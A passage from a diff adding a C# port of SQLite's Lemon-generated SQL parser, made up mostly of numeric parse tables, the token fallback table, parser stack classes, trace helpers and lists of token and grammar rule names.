165, 150, 165, 150, 150, +/* 1060 */ 240, 150, 174, 175, 174, 175, 49, 50, 118, 150, +/* 1070 */ 35, 165, 27, 165, 165, 194, 165, 108, 127, 76, +/* 1080 */ 174, 175, 174, 175, 165, 174, 175, 70, 71, 72, +/* 1090 */ 73, 74, 75, 76, 77, 78, 79, 80, 166, 82, +/* 1100 */ 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, +/* 1110 */ 19, 20, 193, 22, 150, 150, 150, 26, 27, 76, +/* 1120 */ 150, 22, 1, 150, 119, 121, 217, 20, 37, 165, +/* 1130 */ 165, 165, 16, 19, 20, 165, 22, 205, 165, 119, +/* 1140 */ 26, 27, 108, 128, 150, 150, 150, 56, 150, 22, +/* 1150 */ 150, 37, 150, 127, 160, 23, 150, 66, 193, 165, +/* 1160 */ 165, 165, 16, 165, 23, 165, 150, 165, 174, 175, +/* 1170 */ 56, 165, 150, 65, 174, 175, 15, 86, 87, 88, +/* 1180 */ 66, 165, 140, 150, 93, 94, 95, 165, 194, 98, +/* 1190 */ 174, 175, 22, 3, 164, 193, 174, 175, 165, 150, +/* 1200 */ 86, 87, 4, 180, 150, 248, 251, 93, 94, 95, +/* 1210 */ 216, 180, 98, 251, 165, 221, 150, 149, 6, 165, +/* 1220 */ 129, 130, 131, 132, 133, 134, 193, 150, 174, 175, +/* 1230 */ 116, 165, 19, 20, 150, 22, 149, 151, 150, 26, +/* 1240 */ 27, 149, 165, 129, 130, 131, 132, 133, 134, 165, +/* 1250 */ 37, 174, 175, 165, 149, 19, 20, 13, 22, 150, +/* 1260 */ 150, 150, 26, 27, 146, 147, 151, 150, 25, 56, +/* 1270 */ 152, 159, 154, 37, 165, 165, 165, 193, 160, 66, +/* 1280 */ 116, 193, 165, 174, 175, 174, 175, 194, 199, 150, +/* 1290 */ 200, 126, 56, 124, 123, 150, 201, 122, 150, 86, +/* 1300 */ 87, 150, 66, 193, 165, 202, 93, 94, 95, 150, +/* 1310 */ 165, 98, 194, 165, 125, 22, 165, 150, 150, 26, +/* 1320 */ 27, 135, 86, 87, 165, 174, 175, 203, 226, 93, +/* 1330 */ 94, 95, 165, 165, 98, 150, 218, 150, 193, 157, +/* 1340 */ 118, 157, 129, 130, 131, 132, 133, 134, 5, 104, +/* 1350 */ 165, 211, 165, 10, 11, 12, 13, 14, 150, 66, +/* 1360 */ 17, 174, 175, 210, 246, 129, 130, 131, 132, 133, +/* 1370 */ 134, 150, 210, 165, 31, 121, 33, 150, 150, 86, +/* 1380 */ 87, 176, 174, 175, 150, 42, 165, 94, 211, 210, +/* 1390 */ 150, 98, 165, 165, 211, 174, 175, 150, 55, 165, +/* 1400 */ 57, 150, 174, 175, 61, 165, 150, 64, 174, 175, +/* 1410 */ 150, 150, 165, 150, 174, 175, 165, 104, 150, 184, +/* 1420 */ 150, 165, 129, 130, 131, 165, 165, 150, 165, 150, +/* 1430 */ 150, 176, 150, 165, 47, 165, 150, 150, 176, 103, +/* 1440 */ 150, 22, 165, 178, 165, 165, 179, 165, 105, 106, +/* 1450 */ 107, 165, 165, 229, 111, 165, 92, 176, 229, 116, +/* 1460 */ 184, 176, 179, 156, 176, 176, 18, 157, 156, 237, +/* 1470 */ 45, 157, 156, 135, 157, 157, 238, 156, 68, 157, +/* 1480 */ 189, 189, 139, 219, 22, 157, 18, 192, 192, 192, +/* 1490 */ 192, 189, 219, 199, 157, 242, 40, 157, 199, 242, +/* 1500 */ 153, 157, 38, 245, 196, 166, 232, 198, 177, 177, +/* 1510 */ 232, 227, 209, 178, 166, 182, 166, 148, 177, 177, +/* 1520 */ 209, 196, 177, 199, 209, 199, 166, 208, 92, 195, +/* 1530 */ 174, 174, 183, 252, 183, 183, 252, 191, 252, 235, +/* 1540 */ 186, 241, 241, 252, 186, 252, 252, 252, 252, 252, +/* 1550 */ 252, 252, 252, 252, 252, 252, 236, +}; + + const int YY_SHIFT_USE_DFLT = -74;//#define YY_SHIFT_USE_DFLT (-74) + const int YY_SHIFT_COUNT = 418; //#define YY_SHIFT_COUNT (418) + const int YY_SHIFT_MIN = -73; //#define YY_SHIFT_MIN (-73) + const int YY_SHIFT_MAX = 1468; //#define YY_SHIFT_MAX (1468) + + static short[] yy_shift_ofst = new short[]{ +/* 0 */ 975, 1114, 1343, 1114, 1213, 1213, 90, 90, 0, -19, +/* 10 */ 1213, 1213, 1213, 1213, 1213, 345, 445, 721, 1091, 1213, +/* 20 */ 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, +/* 30 */ 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, +/* 40 */ 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1236, 1213, 1213, +/* 50 */ 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, 1213, +/* 60 */ 1213, 199, 445, 445, 835, 835, 365, 1164, 55, 647, +/* 70 */ 573, 499, 425, 351, 277, 203, 129, 795, 795, 795, +/* 80 */ 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, +/* 90 */ 795, 795, 795, 795, 795, 869, 795, 943, 1017, 1017, +/* 100 */ -69, -45, -45, -45, -45, -45, -1, 58, 138, 100, +/* 110 */ 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, +/* 120 */ 445, 445, 445, 445, 445, 445, 537, 438, 445, 445, +/* 130 */ 445, 445, 445, 365, 807, 1436, -74, -74, -74, 1293, +/* 140 */ 73, 434, 434, 311, 314, 290, 283, 286, 540, 467, +/* 150 */ 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, +/* 160 */ 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, +/* 170 */ 445, 445, 445, 445, 445, 445, 445, 445, 445, 445, +/* 180 */ 445, 445, 65, 722, 722, 722, 688, 266, 1164, 1164, +/* 190 */ 1164, -74, -74, -74, 136, 168, 168, 234, 360, 360, +/* 200 */ 360, 430, 372, 435, 352, 278, 126, -36, -36, -36, +/* 210 */ -36, 421, 651, -36, -36, 592, 292, 212, 623, 158, +/* 220 */ 204, 204, 505, 158, 505, 144, 365, 154, 365, 154, +/* 230 */ 645, 154, 204, 154, 154, 535, 548, 548, 365, 387, +/* 240 */ 508, 233, 1464, 1222, 1222, 1456, 1456, 1222, 1462, 1410, +/* 250 */ 1165, 1468, 1468, 1468, 1468, 1222, 1165, 1462, 1410, 1410, +/* 260 */ 1222, 1448, 1338, 1425, 1222, 1222, 1448, 1222, 1448, 1222, +/* 270 */ 1448, 1419, 1313, 1313, 1313, 1387, 1364, 1364, 1419, 1313, +/* 280 */ 1336, 1313, 1387, 1313, 1313, 1254, 1245, 1254, 1245, 1254, +/* 290 */ 1245, 1222, 1222, 1186, 1189, 1175, 1169, 1171, 1165, 1164, +/* 300 */ 1243, 1244, 1244, 1212, 1212, 1212, 1212, -74, -74, -74, +/* 310 */ -74, -74, -74, 939, 104, 680, 571, 327, 1, 980, +/* 320 */ 26, 972, 971, 946, 901, 870, 830, 806, 54, 21, +/* 330 */ -73, 510, 242, 1198, 1190, 1170, 1042, 1161, 1108, 1146, +/* 340 */ 1141, 1132, 1015, 1127, 1026, 1034, 1020, 1107, 1004, 1116, +/* 350 */ 1121, 1005, 1099, 951, 1043, 1003, 969, 1045, 1035, 950, +/* 360 */ 1053, 1047, 1025, 942, 913, 992, 1019, 945, 984, 940, +/* 370 */ 876, 904, 953, 896, 748, 804, 880, 786, 868, 819, +/* 380 */ 805, 810, 773, 751, 766, 706, 716, 691, 681, 568, +/* 390 */ 655, 638, 676, 516, 541, 594, 599, 567, 541, 534, +/* 400 */ 507, 527, 498, 523, 466, 382, 409, 384, 357, 6, +/* 410 */ 240, 224, 143, 62, 18, 71, 39, 9, 5, +}; + + const int YY_REDUCE_USE_DFLT = -142; //#define YY_REDUCE_USE_DFLT (-142) + const int YY_REDUCE_COUNT = 312; //#define YY_REDUCE_COUNT (312) + const int YY_REDUCE_MIN = -141; //#define YY_REDUCE_MIN (-141) + const int YY_REDUCE_MAX = 1369; //#define YY_REDUCE_MAX (1369) + + static short[] yy_reduce_ofst = new short[]{ +/* 0 */ -141, 994, 1118, 223, 157, -53, 93, 89, 83, 375, +/* 10 */ 386, 381, 379, 308, 295, 325, -47, 27, 1240, 1234, +/* 20 */ 1228, 1221, 1208, 1187, 1151, 1111, 1109, 1077, 1054, 1022, +/* 30 */ 1016, 1000, 911, 908, 906, 890, 888, 874, 834, 816, +/* 40 */ 800, 760, 758, 755, 742, 739, 726, 685, 672, 668, +/* 50 */ 665, 652, 611, 609, 607, 604, 591, 578, 526, 519, +/* 60 */ 453, 474, 454, 461, 443, 245, 442, 473, 484, 484, +/* 70 */ 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, +/* 80 */ 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, +/* 90 */ 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, +/* 100 */ 484, 484, 484, 484, 484, 484, 484, 130, 484, 484, +/* 110 */ 1145, 909, 1110, 1088, 1084, 1033, 1002, 965, 820, 837, +/* 120 */ 746, 686, 612, 817, 610, 919, 221, 563, 814, 813, +/* 130 */ 744, 669, 470, 543, 484, 484, 484, 484, 484, 291, +/* 140 */ 569, 671, 658, 970, 1290, 1287, 1286, 1282, 518, 518, +/* 150 */ 1280, 1279, 1277, 1270, 1268, 1263, 1261, 1260, 1256, 1251, +/* 160 */ 1247, 1227, 1185, 1168, 1167, 1159, 1148, 1139, 1117, 1066, +/* 170 */ 1049, 1006, 998, 996, 995, 973, 970, 966, 964, 892, +/* 180 */ 762, -52, 881, 932, 802, 731, 619, 812, 664, 660, +/* 190 */ 627, 392, 331, 124, 1358, 1357, 1356, 1354, 1352, 1351, +/* 200 */ 1349, 1319, 1334, 1346, 1334, 1334, 1334, 1334, 1334, 1334, +/* 210 */ 1334, 1320, 1304, 1334, 1334, 1319, 1360, 1325, 1369, 1326, +/* 220 */ 1315, 1311, 1301, 1324, 1300, 1335, 1350, 1345, 1348, 1342, +/* 230 */ 1333, 1341, 1303, 1332, 1331, 1284, 1278, 1274, 1339, 1309, +/* 240 */ 1308, 1347, 1258, 1344, 1340, 1257, 1253, 1337, 1273, 1302, +/* 250 */ 1299, 1298, 1297, 1296, 1295, 1328, 1294, 1264, 1292, 1291, +/* 260 */ 1322, 1321, 1238, 1232, 1318, 1317, 1316, 1314, 1312, 1310, +/* 270 */ 1307, 1283, 1289, 1288, 1285, 1276, 1229, 1224, 1267, 1281, +/* 280 */ 1265, 1262, 1235, 1255, 1205, 1183, 1179, 1177, 1162, 1140, +/* 290 */ 1153, 1184, 1182, 1102, 1124, 1103, 1095, 1090, 1089, 1093, +/* 300 */ 1112, 1115, 1086, 1105, 1092, 1087, 1068, 962, 955, 957, +/* 310 */ 1031, 1023, 1030, +}; + static YYACTIONTYPE[] yy_default = new YYACTIONTYPE[] { +/* 0 */ 635, 870, 959, 959, 959, 870, 899, 899, 959, 759, +/* 10 */ 959, 959, 959, 959, 868, 959, 959, 933, 959, 959, +/* 20 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 30 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 40 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 50 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 60 */ 959, 959, 959, 959, 899, 899, 674, 763, 794, 959, +/* 70 */ 959, 959, 959, 959, 959, 959, 959, 932, 934, 809, +/* 80 */ 808, 802, 801, 912, 774, 799, 792, 785, 796, 871, +/* 90 */ 864, 865, 863, 867, 872, 959, 795, 831, 848, 830, +/* 100 */ 842, 847, 854, 846, 843, 833, 832, 666, 834, 835, +/* 110 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 120 */ 959, 959, 959, 959, 959, 959, 661, 728, 959, 959, +/* 130 */ 959, 959, 959, 959, 836, 837, 851, 850, 849, 959, +/* 140 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 150 */ 959, 939, 937, 959, 883, 959, 959, 959, 959, 959, +/* 160 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 170 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 180 */ 959, 641, 959, 759, 759, 759, 635, 959, 959, 959, +/* 190 */ 959, 951, 763, 753, 719, 959, 959, 959, 959, 959, +/* 200 */ 959, 959, 959, 959, 959, 959, 959, 804, 742, 922, +/* 210 */ 924, 959, 905, 740, 663, 761, 676, 751, 643, 798, +/* 220 */ 776, 776, 917, 798, 917, 700, 959, 788, 959, 788, +/* 230 */ 697, 788, 776, 788, 788, 866, 959, 959, 959, 760, +/* 240 */ 751, 959, 944, 767, 767, 936, 936, 767, 810, 732, +/* 250 */ 798, 739, 739, 739, 739, 767, 798, 810, 732, 732, +/* 260 */ 767, 658, 911, 909, 767, 767, 658, 767, 658, 767, +/* 270 */ 658, 876, 730, 730, 730, 715, 880, 880, 876, 730, +/* 280 */ 700, 730, 715, 730, 730, 780, 775, 780, 775, 780, +/* 290 */ 775, 767, 767, 959, 793, 781, 791, 789, 798, 959, +/* 300 */ 718, 651, 651, 640, 640, 640, 640, 956, 956, 951, +/* 310 */ 702, 702, 684, 959, 959, 959, 959, 959, 959, 959, +/* 320 */ 885, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 330 */ 959, 959, 959, 959, 636, 946, 959, 959, 943, 959, +/* 340 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 350 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 915, +/* 360 */ 959, 959, 959, 959, 959, 959, 908, 907, 959, 959, +/* 370 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 380 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 959, +/* 390 */ 959, 959, 959, 959, 790, 959, 782, 959, 869, 959, +/* 400 */ 959, 959, 959, 959, 959, 959, 959, 959, 959, 745, +/* 410 */ 819, 959, 818, 822, 817, 668, 959, 649, 959, 632, +/* 420 */ 637, 955, 958, 957, 954, 953, 952, 947, 945, 942, +/* 430 */ 941, 940, 938, 935, 931, 889, 887, 894, 893, 892, +/* 440 */ 891, 890, 888, 886, 884, 805, 803, 800, 797, 930, +/* 450 */ 882, 741, 738, 737, 657, 948, 914, 923, 921, 811, +/* 460 */ 920, 919, 918, 916, 913, 900, 807, 806, 733, 874, +/* 470 */ 873, 660, 904, 903, 902, 906, 910, 901, 769, 659, +/* 480 */ 656, 665, 722, 721, 729, 727, 726, 725, 724, 723, +/* 490 */ 720, 667, 675, 686, 714, 699, 698, 879, 881, 878, +/* 500 */ 877, 707, 706, 712, 711, 710, 709, 708, 705, 704, +/* 510 */ 703, 696, 695, 701, 694, 717, 716, 713, 693, 736, +/* 520 */ 735, 734, 731, 692, 691, 690, 822, 689, 688, 828, +/* 530 */ 827, 815, 858, 756, 755, 754, 766, 765, 778, 777, +/* 540 */ 813, 812, 779, 764, 758, 757, 773, 772, 771, 770, +/* 550 */ 762, 752, 784, 787, 786, 783, 860, 768, 857, 929, +/* 560 */ 928, 927, 926, 925, 862, 861, 829, 826, 679, 680, +/* 570 */ 898, 896, 897, 895, 682, 681, 678, 677, 859, 747, +/* 580 */ 746, 855, 852, 844, 840, 856, 853, 845, 841, 839, +/* 590 */ 838, 824, 823, 821, 820, 816, 825, 670, 748, 744, +/* 600 */ 743, 814, 750, 749, 687, 685, 683, 664, 662, 655, +/* 610 */ 653, 652, 654, 650, 648, 647, 646, 645, 644, 673, +/* 620 */ 672, 671, 669, 668, 642, 639, 638, 634, 633, 631, +}; + + /* The next table maps tokens into fallback tokens. If a construct + ** like the following: + ** + ** %fallback ID X Y Z. + ** + ** appears in the grammar, then ID becomes a fallback token for X, Y, + ** and Z. Whenever one of the tokens X, Y, or Z is input to the parser + ** but it does not parse, the type of the token is changed to ID and + ** the parse is retried before an error is thrown. + */ +#if !NO_YYFALLBACK // #if YYFALLBACK || TRUE + static YYCODETYPE[] yyFallback = new YYCODETYPE[]{ +0, /* $ => nothing */ +0, /* SEMI => nothing */ +26, /* EXPLAIN => ID */ +26, /* QUERY => ID */ +26, /* PLAN => ID */ +26, /* BEGIN => ID */ +0, /* TRANSACTION => nothing */ +26, /* DEFERRED => ID */ +26, /* IMMEDIATE => ID */ +26, /* EXCLUSIVE => ID */ +0, /* COMMIT => nothing */ +26, /* END => ID */ +26, /* ROLLBACK => ID */ +26, /* SAVEPOINT => ID */ +26, /* RELEASE => ID */ +0, /* TO => nothing */ +0, /* TABLE => nothing */ +0, /* CREATE => nothing */ +26, /* IF => ID */ +0, /* NOT => nothing */ +0, /* EXISTS => nothing */ +26, /* TEMP => ID */ +0, /* LP => nothing */ +0, /* RP => nothing */ +0, /* AS => nothing */ +0, /* COMMA => nothing */ +0, /* ID => nothing */ +0, /* INDEXED => nothing */ +26, /* ABORT => ID */ +26, /* ACTION => ID */ +26, /* AFTER => ID */ +26, /* ANALYZE => ID */ +26, /* ASC => ID */ +26, /* ATTACH => ID */ +26, /* BEFORE => ID */ +26, /* BY => ID */ +26, /* CASCADE => ID */ +26, /* CAST => ID */ +26, /* COLUMNKW => ID */ +26, /* CONFLICT => ID */ +26, /* DATABASE => ID */ +26, /* DESC => ID */ +26, /* DETACH => ID */ +26, /* EACH => ID */ +26, /* FAIL => ID */ +26, /* FOR => ID */ +26, /* IGNORE => ID */ +26, /* INITIALLY => ID */ +26, /* INSTEAD => ID */ +26, /* LIKE_KW => ID */ +26, /* MATCH => ID */ +26, /* NO => ID */ +26, /* KEY => ID */ +26, /* OF => ID */ +26, /* OFFSET => ID */ +26, /* PRAGMA => ID */ +26, /* RAISE => ID */ +26, /* REPLACE => ID */ +26, /* RESTRICT => ID */ +26, /* ROW => ID */ +26, /* TRIGGER => ID */ +26, /* VACUUM => ID */ +26, /* VIEW => ID */ +26, /* VIRTUAL => ID */ +26, /* REINDEX => ID */ +26, /* RENAME => ID */ +26, /* CTIME_KW => ID */ +}; +#endif // * YYFALLBACK */ + + /* The following structure represents a single element of the +** parser's stack. Information stored includes: +** +** + The state number for the parser at this level of the stack. +** +** + The value of the token stored at this level of the stack. +** (In other words, the "major" token.) +** +** + The semantic value stored at this level of the stack. This is +** the information used by the action routines in the grammar. +** It is sometimes called the "minor" token. +*/ + public class yyStackEntry + { + public YYACTIONTYPE stateno; /* The state-number */ + public YYCODETYPE major; /* The major token value. This is the code +** number for the token at this stack level */ + public YYMINORTYPE minor; /* The user-supplied minor token value. This +** is the value of the token */ + }; + //typedef struct yyStackEntry yyStackEntry; + + /* The state of the parser is completely contained in an instance of + ** the following structure */ + public class yyParser + { + public int yyidx; /* Index of top element in stack */ +#if YYTRACKMAXSTACKDEPTH +int yyidxMax; /* Maximum value of yyidx */ +#endif + public int yyerrcnt; /* Shifts left before out of the error */ + public Parse pParse; // sqlite3ParserARG_SDECL /* A place to hold %extra_argument */ +#if YYSTACKDEPTH//<=0 +public int yystksz; /* Current side of the stack */ +public yyStackEntry *yystack; /* The parser's stack */ +#else + public yyStackEntry[] yystack = new yyStackEntry[YYSTACKDEPTH]; /* The parser's stack */ +#endif + }; + //typedef struct yyParser yyParser; + +#if !NDEBUG + //#include + static TextWriter yyTraceFILE = null; + static string yyTracePrompt = ""; +#endif // * NDEBUG */ + +#if !NDEBUG + /* +** Turn parser tracing on by giving a stream to which to write the trace +** and a prompt to preface each trace message. Tracing is turned off +** by making either argument NULL +** +** Inputs: +**
    +**
  • A FILE* to which trace output should be written. +** If NULL, then tracing is turned off. +**
  • A prefix string written at the beginning of every +** line of trace output. If NULL, then tracing is +** turned off. +**
+** +** Outputs: +** None. +*/ + static void sqlite3ParserTrace( TextWriter TraceFILE, string zTracePrompt ) + { + yyTraceFILE = TraceFILE; + yyTracePrompt = zTracePrompt; + if ( yyTraceFILE == null ) + yyTracePrompt = ""; + else if ( yyTracePrompt == "" ) + yyTraceFILE = null; + } +#endif // * NDEBUG */ + +#if !NDEBUG + /* For tracing shifts, the names of all terminals and nonterminals +** are required. The following table supplies these names */ + static string[] yyTokenName = { +"$", "SEMI", "EXPLAIN", "QUERY", +"PLAN", "BEGIN", "TRANSACTION", "DEFERRED", +"IMMEDIATE", "EXCLUSIVE", "COMMIT", "END", +"ROLLBACK", "SAVEPOINT", "RELEASE", "TO", +"TABLE", "CREATE", "IF", "NOT", +"EXISTS", "TEMP", "LP", "RP", +"AS", "COMMA", "ID", "INDEXED", +"ABORT", "ACTION", "AFTER", "ANALYZE", +"ASC", "ATTACH", "BEFORE", "BY", +"CASCADE", "CAST", "COLUMNKW", "CONFLICT", +"DATABASE", "DESC", "DETACH", "EACH", +"FAIL", "FOR", "IGNORE", "INITIALLY", +"INSTEAD", "LIKE_KW", "MATCH", "NO", +"KEY", "OF", "OFFSET", "PRAGMA", +"RAISE", "REPLACE", "RESTRICT", "ROW", +"TRIGGER", "VACUUM", "VIEW", "VIRTUAL", +"REINDEX", "RENAME", "CTIME_KW", "ANY", +"OR", "AND", "IS", "BETWEEN", +"IN", "ISNULL", "NOTNULL", "NE", +"EQ", "GT", "LE", "LT", +"GE", "ESCAPE", "BITAND", "BITOR", +"LSHIFT", "RSHIFT", "PLUS", "MINUS", +"STAR", "SLASH", "REM", "CONCAT", +"COLLATE", "BITNOT", "STRING", "JOIN_KW", +"CONSTRAINT", "DEFAULT", "NULL", "PRIMARY", +"UNIQUE", "CHECK", "REFERENCES", "AUTOINCR", +"ON", "INSERT", "DELETE", "UPDATE", +"SET", "DEFERRABLE", "FOREIGN", "DROP", +"UNION", "ALL", "EXCEPT", "INTERSECT", +"SELECT", "DISTINCT", "DOT", "FROM", +"JOIN", "USING", "ORDER", "GROUP", +"HAVING", "LIMIT", "WHERE", "INTO", +"VALUES", "INTEGER", "FLOAT", "BLOB", +"REGISTER", "VARIABLE", "CASE", "WHEN", +"THEN", "ELSE", "INDEX", "ALTER", +"ADD", "error", "input", "cmdlist", +"ecmd", "explain", "cmdx", "cmd", +"transtype", "trans_opt", "nm", "savepoint_opt", +"create_table", "create_table_args", "createkw", "temp", +"ifnotexists", "dbnm", "columnlist", "conslist_opt", +"select", "column", "columnid", "type", +"carglist", "id", "ids", "typetoken", +"typename", "signed", "plus_num", "minus_num", +"carg", "ccons", "term", "expr", +"onconf", "sortorder", "autoinc", "idxlist_opt", +"refargs", "defer_subclause", "refarg", "refact", +"init_deferred_pred_opt", "conslist", "tcons", "idxlist", +"defer_subclause_opt", "orconf", "resolvetype", "raisetype", +"ifexists", "fullname", "oneselect", "multiselect_op", +"distinct", "selcollist", "from", "where_opt", +"groupby_opt", "having_opt", "orderby_opt", "limit_opt", +"sclp", "as", "seltablist", "stl_prefix", +"joinop", "indexed_opt", "on_opt", "using_opt", +"joinop2", "inscollist", "sortlist", "sortitem", +"nexprlist", "setlist", "insert_cmd", "inscollist_opt", +"itemlist", "exprlist", "likeop", "between_op", +"in_op", "case_operand", "case_exprlist", "case_else", +"uniqueflag", "collate", "nmnum", "plus_opt", +"number", "trigger_decl", "trigger_cmd_list", "trigger_time", +"trigger_event", "foreach_clause", "when_clause", "trigger_cmd", +"trnm", "tridxby", "database_kw_opt", "key_opt", +"add_column_fullname", "kwcolumn_opt", "create_vtab", "vtabarglist", +"vtabarg", "vtabargtoken", "lp", "anylist", +}; +#endif // * NDEBUG */ + +#if !NDEBUG + /* For tracing reduce actions, the names of all rules are required. +*/ + static string[] yyRuleName = { +/* 0 */ "input ::= cmdlist", +/* 1 */ "cmdlist ::= cmdlist ecmd", +/* 2 */ "cmdlist ::= ecmd", +/* 3 */ "ecmd ::= SEMI", +/* 4 */ "ecmd ::= explain cmdx SEMI", +/* 5 */ "explain ::=", +/* 6 */ "explain ::= EXPLAIN", +/* 7 */ "explain ::= EXPLAIN QUERY PLAN", +/* 8 */ "cmdx ::= cmd", +/* 9 */ "cmd ::= BEGIN transtype trans_opt", +/* 10 */ "trans_opt ::=", +/* 11 */ "trans_opt ::= TRANSACTION", +/* 12 */ "trans_opt ::= TRANSACTION nm", +/* 13 */ "transtype ::=", +/* 14 */ "transtype ::= DEFERRED", +/* 15 */ "transtype ::= IMMEDIATE", +/* 16 */ "transtype ::= EXCLUSIVE", +/* 17 */ "cmd ::= COMMIT trans_opt", +/* 18 */ "cmd ::= END trans_opt", +/* 19 */ "cmd ::= ROLLBACK trans_opt", +/* 20 */ "savepoint_opt ::= SAVEPOINT", +/* 21 */ "savepoint_opt ::=", +/* 22 */ "cmd ::= SAVEPOINT nm", +/* 23 */ "cmd ::= RELEASE savepoint_opt nm", +/* 24 */ "cmd ::= ROLLBACK trans_opt TO savepoint_opt nm", +/* 25 */ "cmd ::= create_table create_table_args", +/* 26 */ "create_table ::= createkw temp TABLE ifnotexists nm dbnm", +/* 27 */ "createkw ::= CREATE", +/* 28 */ "ifnotexists ::=", +/* 29 */ "ifnotexists ::= IF NOT EXISTS", +/* 30 */ "temp ::= TEMP", +/* 31 */ "temp ::=", +/* 32 */ "create_table_args ::= LP columnlist conslist_opt RP", +/* 33 */ "create_table_args ::= AS select", +/* 34 */ "columnlist ::= columnlist COMMA column", +/* 35 */ "columnlist ::= column", +/* 36 */ "column ::= columnid type carglist", +/* 37 */ "columnid ::= nm", +/* 38 */ "id ::= ID", +/* 39 */ "id ::= INDEXED", +/* 40 */ "ids ::= ID|STRING", +/* 41 */ "nm ::= id", +/* 42 */ "nm ::= STRING", +/* 43 */ "nm ::= JOIN_KW", +/* 44 */ "type ::=", +/* 45 */ "type ::= typetoken", +/* 46 */ "typetoken ::= typename", +/* 47 */ "typetoken ::= typename LP signed RP", +/* 48 */ "typetoken ::= typename LP signed COMMA signed RP", +/* 49 */ "typename ::= ids", +/* 50 */ "typename ::= typename ids", +/* 51 */ "signed ::= plus_num", +/* 52 */ "signed ::= minus_num", +/* 53 */ "carglist ::= carglist carg", +/* 54 */ "carglist ::=", +/* 55 */ "carg ::= CONSTRAINT nm ccons", +/* 56 */ "carg ::= ccons", +/* 57 */ "ccons ::= DEFAULT term", +/* 58 */ "ccons ::= DEFAULT LP expr RP", +/* 59 */ "ccons ::= DEFAULT PLUS term", +/* 60 */ "ccons ::= DEFAULT MINUS term", +/* 61 */ "ccons ::= DEFAULT id", +/* 62 */ "ccons ::= NULL onconf", +/* 63 */ "ccons ::= NOT NULL onconf", +/* 64 */ "ccons ::= PRIMARY KEY sortorder onconf autoinc", +/* 65 */ "ccons ::= UNIQUE onconf", +/* 66 */ "ccons ::= CHECK LP expr RP", +/* 67 */ "ccons ::= REFERENCES nm idxlist_opt refargs", +/* 68 */ "ccons ::= defer_subclause", +/* 69 */ "ccons ::= COLLATE ids", +/* 70 */ "autoinc ::=", +/* 71 */ "autoinc ::= AUTOINCR", +/* 72 */ "refargs ::=", +/* 73 */ "refargs ::= refargs refarg", +/* 74 */ "refarg ::= MATCH nm", +/* 75 */ "refarg ::= ON INSERT refact", +/* 76 */ "refarg ::= ON DELETE refact", +/* 77 */ "refarg ::= ON UPDATE refact", +/* 78 */ "refact ::= SET NULL", +/* 79 */ "refact ::= SET DEFAULT", +/* 80 */ "refact ::= CASCADE", +/* 81 */ "refact ::= RESTRICT", +/* 82 */ "refact ::= NO ACTION", +/* 83 */ "defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt", +/* 84 */ "defer_subclause ::= DEFERRABLE init_deferred_pred_opt", +/* 85 */ "init_deferred_pred_opt ::=", +/* 86 */ "init_deferred_pred_opt ::= INITIALLY DEFERRED", +/* 87 */ "init_deferred_pred_opt ::= INITIALLY IMMEDIATE", +/* 88 */ "conslist_opt ::=", +/* 89 */ "conslist_opt ::= COMMA conslist", +/* 90 */ "conslist ::= conslist COMMA tcons", +/* 91 */ "conslist ::= conslist tcons", +/* 92 */ "conslist ::= tcons", +/* 93 */ "tcons ::= CONSTRAINT nm", +/* 94 */ "tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf", +/* 95 */ "tcons ::= UNIQUE LP idxlist RP onconf", +/* 96 */ "tcons ::= CHECK LP expr RP onconf", +/* 97 */ "tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt", +/* 98 */ "defer_subclause_opt ::=", +/* 99 */ "defer_subclause_opt ::= defer_subclause", +/* 100 */ "onconf ::=", +/* 101 */ "onconf ::= ON CONFLICT resolvetype", +/* 102 */ "orconf ::=", +/* 103 */ "orconf ::= OR resolvetype", +/* 104 */ "resolvetype ::= raisetype", +/* 105 */ "resolvetype ::= IGNORE", +/* 106 */ "resolvetype ::= REPLACE", +/* 107 */ "cmd ::= DROP TABLE ifexists fullname", +/* 108 */ "ifexists ::= IF EXISTS", +/* 109 */ "ifexists ::=", +/* 110 */ "cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select", +/* 111 */ "cmd ::= DROP VIEW ifexists fullname", +/* 112 */ "cmd ::= select", +/* 113 */ "select ::= oneselect", +/* 114 */ "select ::= select multiselect_op oneselect", +/* 115 */ "multiselect_op ::= UNION", +/* 116 */ "multiselect_op ::= UNION ALL", +/* 117 */ "multiselect_op ::= EXCEPT|INTERSECT", +/* 118 */ "oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt", +/* 119 */ "distinct ::= DISTINCT", +/* 120 */ "distinct ::= ALL", +/* 121 */ "distinct ::=", +/* 122 */ "sclp ::= selcollist COMMA", +/* 123 */ "sclp ::=", +/* 124 */ "selcollist ::= sclp expr as", +/* 125 */ "selcollist ::= sclp STAR", +/* 126 */ "selcollist ::= sclp nm DOT STAR", +/* 127 */ "as ::= AS nm", +/* 128 */ "as ::= ids", +/* 129 */ "as ::=", +/* 130 */ "from ::=", +/* 131 */ "from ::= FROM seltablist", +/* 132 */ 